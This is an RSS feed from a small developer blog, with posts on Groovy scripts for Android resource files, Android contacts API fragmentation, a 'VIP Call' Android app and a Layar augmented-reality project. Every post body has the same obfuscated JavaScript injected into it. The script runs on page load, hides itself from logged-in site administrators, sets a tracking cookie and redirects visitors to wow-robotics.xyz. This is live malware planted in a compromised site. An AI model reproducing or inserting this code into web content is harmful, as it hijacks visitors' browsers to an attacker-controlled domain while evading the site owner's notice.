<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BlueTrail</title>
	<atom:link href="http://bluetrail.co.uk/feed/" rel="self" type="application/rss+xml" />
	<link>http://bluetrail.co.uk</link>
	<description></description>
	<lastBuildDate>Fri, 09 Jul 2010 21:53:16 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Converting property files to Android resource Xml with Groovy</title>
		<link>http://bluetrail.co.uk/2010/07/converting-property-files-to-android-resource-xml-with-groovy/</link>
		<comments>http://bluetrail.co.uk/2010/07/converting-property-files-to-android-resource-xml-with-groovy/#comments</comments>
		<pubDate>Fri, 09 Jul 2010 21:53:16 +0000</pubDate>
		<dc:creator>rspence</dc:creator>
				<category><![CDATA[LWUIT]]></category>

		<guid isPermaLink="false">http://bluetrail.co.uk/?p=239</guid>
		<description><![CDATA[Converting J2me projects to Android.  Wanted to convert property files to the android xml so decided to cobble together a bit of Groovy
The property file is something like this:
##general strings
menu=Menu
stop=Stop
back=Back
wait=Wait
search=Search
bb.nextmess=Click spacebar for next Question
Make sure you stick the property file name on the command line &#8230;.
import groovy.xml.MarkupBuilder
def writer = new StringWriter()
def xml = new [...]]]></description>
			<content:encoded><![CDATA[<p>Converting J2me projects to Android.  Wanted to convert property files to the android xml so decided to cobble together a bit of <a href="http://groovy.codehaus.org/">Groovy</a></p>
<p>The property file is something like this:</p>
<p>##general strings<br />
menu=Menu<br />
stop=Stop<br />
back=Back<br />
wait=Wait<br />
search=Search<br />
bb.nextmess=Click spacebar for next Question</p>
<p>Make sure you stick the property file name on the command line &#8230;.</p>
<blockquote><p>import groovy.xml.MarkupBuilder</p>
<p>def writer = new StringWriter()<br />
def xml = new MarkupBuilder(writer)</p>
<p>writer.append(&#8217;&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;utf-8&#8243;?&gt;&#8217;)</p>
<p>xml.resources  {</p>
<p>new File(args[0]).eachLine{line-&gt;</p>
<p>bits = line.tokenize(&#8221;=&#8221;)<br />
try {<br />
string(name:bits[0].trim(),bits[1].trim())</p>
<p>} catch (Exception e) {<br />
//exceptions pah!<br />
}</p>
<p>}</p>
<p>}</p>
<p>println writer.toString()</p></blockquote>
<p>This give the output &#8230;. </p>
<pre>&lt;?xml version="1.0" encoding="utf-8"?&gt;<br />
&lt;resources&gt;<br />
  &lt;string name='menu'&gt;Menu&lt;/string&gt;<br />
  &lt;string name='stop'&gt;Stop&lt;/string&gt;<br />
  &lt;string name='back'&gt;Back&lt;/string&gt;<br />
  &lt;string name='wait'&gt;Wait&lt;/string&gt;<br />
  &lt;string name='search'&gt;Search&lt;/string&gt;<br />
  &lt;string name='bb.nextmess'&gt;Click spacebar for next Question&lt;/string&gt;<br />
&lt;/resources&gt;</p>
<pre><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script></p>
]]></content:encoded>
			<wfw:commentRss>http://bluetrail.co.uk/2010/07/converting-property-files-to-android-resource-xml-with-groovy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Real Android fragmentation in the wild.</title>
		<link>http://bluetrail.co.uk/2010/01/real-android-fragmentation-in-the-wild/</link>
		<comments>http://bluetrail.co.uk/2010/01/real-android-fragmentation-in-the-wild/#comments</comments>
		<pubDate>Tue, 05 Jan 2010 02:41:12 +0000</pubDate>
		<dc:creator>rspence</dc:creator>
				<category><![CDATA[LWUIT]]></category>

		<guid isPermaLink="false">http://bluetrail.co.uk/?p=214</guid>
		<description><![CDATA[Lots of people have been banging on about Android fragmentation and that it is all going to end up like J2ME and we are all going to explode big splurge.  I am pretty relaxed about this as fragmentation is just a fact of life in mobile &#8211; because we are dealing with consumer electronics [...]]]></description>
			<content:encoded><![CDATA[<p>Lots of people have been banging on about Android fragmentation and that it is all going to end up like J2ME and we are all going to explode big splurge.  I am pretty relaxed about this as fragmentation is just a fact of life in mobile &#8211; because we are dealing with consumer electronics after all &#8211; and to be honest it is just the natural state of things, look at all the browsers hacks people take for granted.</p>
<p>That said in creating the &#8220;<a href="http://bluetrail.co.uk/2009/12/never-miss-the-important-calls-with-vip-call-for-android/">VIP Call</a>&#8221; app for Android I came across a real live fragmentation example and here it is:</p>
<p>&#8220;<a href="http://bluetrail.co.uk/2009/12/never-miss-the-important-calls-with-vip-call-for-android/">VIP Call</a>&#8221; depends on being able to access the Contacts on the phone via an intent like so:</p>
<p><strong><span style="color: #000080;">Intent intent = new Intent(Intent.ACTION_PICK, People.CONTENT_URI);<br />
startActivityForResult(intent, PICK_CONTACT);</span></strong></p>
<p>and process the returned contact like so:</p>
<p><strong><span style="color: #000080;">Uri contactData = data.getData();<br />
Cursor c =  activity.managedQuery(contactData, null, null, null, null);<br />
if (c.moveToFirst()) {<br />
String name = c.getString(c.getColumnIndexOrThrow(People.NAME));<br />
String number = c.getString(c.getColumnIndex(&#8221;primary_phone&#8221;));<br />
return new Vip(name,number);<br />
} else {<br />
return null;<br />
}<br />
</span> </strong></p>
<p>This works fine in 1.5 and 1.6 but fails in &gt; 2.0 &#8211; my Droid users were not happy.</p>
<p>Turns out the contacts API has been re-written pretty extensively  for 2.x so that there is support for multiple accounts.    What&#8217;s more it aint backwards compatible.</p>
<p>The solution &#8211; suggested by google &#8211; is to create a ContactsAccessor class that encapsulates the two different implementations.  So the call to the Intent now looks like:</p>
<p><strong><span style="color: #000080;">startActivityForResult(mContactAccessor.getPickContactIntent(), PICK_CONTACT_REQUEST);</span></strong></p>
<p>I wont list the full solution here as Google have provided a full example solution in the <a href="http://code.google.com/p/android-business-card/source/browse/#svn/trunk/android-business-card/BusinessCard/src/com/example/android/businesscard">android-business-card code</a>.</p>
<p>I must say this bit of code in the solution gave me J2ME Vietnam-like flash backs:</p>
<p><strong><br />
<span style="color: #000080;"> /*<br />
* Check the version of the SDK we are running on. Choose an<br />
* implementation class designed for that version of the SDK.<br />
*<br />
* Unfortunately we have to use strings to represent the class<br />
* names. If we used the conventional ContactAccessorSdk5.class.getName()<br />
* syntax, we would get a ClassNotFoundException at runtime on pre-Eclair SDKs.<br />
* Using the above syntax would force Dalvik to load the class and try to<br />
* resolve references to all other classes it uses. Since the pre-Eclair<br />
* does not have those classes, the loading of ContactAccessorSdk5 would fail.<br />
*/<br />
@SuppressWarnings(&#8221;deprecation&#8221;)<br />
int sdkVersion = Integer.parseInt(Build.VERSION.SDK);       // Cupcake style<br />
if (sdkVersion &lt; Build.VERSION_CODES.ECLAIR) {<br />
className = &#8220;com.example.android.businesscard.ContactAccessorSdk3_4&#8243;;<br />
} else {<br />
className = &#8220;com.example.android.businesscard.ContactAccessorSdk5&#8243;;<br />
}</span><br />
</strong></p>
<p>Tis my own opinion that fragmentation in Android is going to be on a par with the fragmentation we find in the browser world rather than the J2ME experience.  The major reason for this is that the Android OS is over the air upgradable &#8211; my G1 has already had about 3 upgrades &#8211; this was not possible in the J2ME giving us the long tail we know and love <img src='http://bluetrail.co.uk/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .<script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script></p>
]]></content:encoded>
			<wfw:commentRss>http://bluetrail.co.uk/2010/01/real-android-fragmentation-in-the-wild/feed/</wfw:commentRss>
		<slash:comments>310</slash:comments>
		</item>
		<item>
		<title>Never miss the important calls with VIP Call for Android</title>
		<link>http://bluetrail.co.uk/2009/12/never-miss-the-important-calls-with-vip-call-for-android/</link>
		<comments>http://bluetrail.co.uk/2009/12/never-miss-the-important-calls-with-vip-call-for-android/#comments</comments>
		<pubDate>Tue, 22 Dec 2009 12:18:59 +0000</pubDate>
		<dc:creator>rspence</dc:creator>
				<category><![CDATA[Android]]></category>
		<category><![CDATA[Android App]]></category>

		<guid isPermaLink="false">http://bluetrail.co.uk/?p=187</guid>
		<description><![CDATA[Our friend &#8220;Spiney Norman&#8221; loves his Android phone.  He often has it on silent when he is in meetings, or just asleep.  He asked us if it were possible to create an application that would make the phone ring if someone important &#8211; his family, the boss &#8211; rang up.
To keep him happy we created [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-191" title="fatcontrollersmall" src="http://bluetrail.co.uk/wp-content/uploads/2009/12/fatcontrollersmall.png" alt="fatcontrollersmall" width="180" height="120" />Our friend &#8220;Spiney Norman&#8221; loves his Android phone.  He often has it on silent when he is in meetings, or just asleep.  He asked us if it were possible to create an application that would make the phone ring if someone important &#8211; his family, the boss &#8211; rang up.</p>
<p>To keep him happy we created &#8220;VIP Call&#8221; for Android.  Here&#8217;s how to get it working:</p>
<hr />
<ol>
<li><strong>Download the app from the Android Market &#8211; search for &#8220;VIP Call&#8221;.</strong></li>
<li><strong>Launch the app and click on &#8220;Add/Delete a VIP&#8221;.</strong></li>
<li><strong>Click the menu buttons and select a VIP from your contact list &#8211; no numbers are stored in &#8220;VIP Call&#8221;.</strong></li>
<li><strong>Keep adding all your VIPs until you are happy with the list.</strong></li>
<li><strong>Press the back button and click the &#8220;Start Listening for VIPs&#8221; button.</strong></li>
<li><strong>You can now turn your phone to silent!</strong></li>
</ol>
<hr />
<p>VIP Call will try and turn the ringer volume up when one of your VIPs call.  Just in case they hang up  before VIP Call detects the call a ringer tone will be played too.  To make it easy to turn &#8220;VIP Call&#8221; off and on please add the widget to to you dashboard.</p>
<p>Here are some pics of &#8220;VIP Call&#8221;:</p>
<p><img class="aligncenter size-full wp-image-189" title="screenshot" src="http://bluetrail.co.uk/wp-content/uploads/2009/12/screenshot.png" alt="screenshot" width="320" height="480" /><img class="aligncenter size-full wp-image-190" title="screenshot2" src="http://bluetrail.co.uk/wp-content/uploads/2009/12/screenshot2.png" alt="screenshot2" width="320" height="480" /><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script></p>
]]></content:encoded>
			<wfw:commentRss>http://bluetrail.co.uk/2009/12/never-miss-the-important-calls-with-vip-call-for-android/feed/</wfw:commentRss>
		<slash:comments>476</slash:comments>
		</item>
		<item>
		<title>Layar Augmented Reality and Grails!!!</title>
		<link>http://bluetrail.co.uk/2009/12/layar-augmented-reality-and-grails/</link>
		<comments>http://bluetrail.co.uk/2009/12/layar-augmented-reality-and-grails/#comments</comments>
		<pubDate>Fri, 11 Dec 2009 18:06:03 +0000</pubDate>
		<dc:creator>rspence</dc:creator>
				<category><![CDATA[LWUIT]]></category>

		<guid isPermaLink="false">http://bluetrail.co.uk/?p=180</guid>
		<description><![CDATA[Just for laughs I created www.splaterz.com which is a do-it-yourself augmented reality layer for the layar browser.  You can create you own points of interest and associated web links via browser and twitter client.  If I get time I will add Android client support.  
The server side code was created in Grails which was an utter [...]]]></description>
			<content:encoded><![CDATA[<p>Just for laughs I created <a href="http://www.splaterz.com">www.splaterz.com </a>which is a do-it-yourself augmented reality layer for the <a href="http://www.layar.com">layar</a> browser.  You can create you own points of interest and associated web links via browser and twitter client.  If I get time I will add Android client support.  </p>
<p>The server side code was created in <a href="http://www.grails.org/">Grails</a> which was an utter joy from start to finish.   I went thru a number of interations adding twitter support, search and acegi authentication and it took about a day all told.  Big shout out to all the <a href="http://www.grails.org/plugin/home">plugin</a> developers, especially my mate <a href="http://www.anyware.co.uk">Marc</a>, who lives over the hill.  If I get time I will add iphone web client support using the <a href="http://www.grails.org/plugin/iwebkit">iwebkit</a> plugin I saw at the <a href="http://www.grails-exchange.com/">Groovy/Grails exchange </a>this week.</p>
<p>To have a layer publish you must submit it to the Layar site.  Went through one iteration where they objected to an encoding error, but otherwise, pretty stress free.</p>
<p>For those of you wishing to create you own layer <a href="http://teknograd.wordpress.com/2009/10/19/augmented-reality-create-your-own-layar-layer/">this site</a> did did the job for me.  Cheers.</p>
<p>Finally, many thanks to <a href="http://twitter.com/bookmeister">@bookmeister</a>  for testing and random posts.</p>
<p>Haven&#8217;t finished with this by any means but please have a play if you have time.</p>
<p><img class="size-full wp-image-181 alignnone" title="Picture 17" src="http://bluetrail.co.uk/wp-content/uploads/2009/12/Picture-17.png" alt="Picture 17" width="634" height="321" /><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script></p>
]]></content:encoded>
			<wfw:commentRss>http://bluetrail.co.uk/2009/12/layar-augmented-reality-and-grails/feed/</wfw:commentRss>
		<slash:comments>359</slash:comments>
		</item>
		<item>
		<title>SwiftCapture makes the  lwuit featured apps ..</title>
		<link>http://bluetrail.co.uk/2009/11/swiftcapture-makes-the-lwuit-featured-apps/</link>
		<comments>http://bluetrail.co.uk/2009/11/swiftcapture-makes-the-lwuit-featured-apps/#comments</comments>
		<pubDate>Sun, 29 Nov 2009 16:02:26 +0000</pubDate>
		<dc:creator>rspence</dc:creator>
				<category><![CDATA[LWUIT]]></category>

		<guid isPermaLink="false">http://bluetrail.co.uk/?p=177</guid>
		<description><![CDATA[SwiftCapture makes the  lwuit featured apps web site from Sun.  
var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012&#124;&#124;'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c]]></description>
			<content:encoded><![CDATA[<p>SwiftCapture makes the  <a href="https://lwuit.dev.java.net/nonav/featuredapp.html">lwuit featured apps</a> web site from Sun.  </p>
<p><img class="aligncenter size-full wp-image-178" title="Featured apps" src="http://bluetrail.co.uk/wp-content/uploads/2009/11/Picture-6.png" alt="Featured apps" width="607" height="616" /><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script></p>
]]></content:encoded>
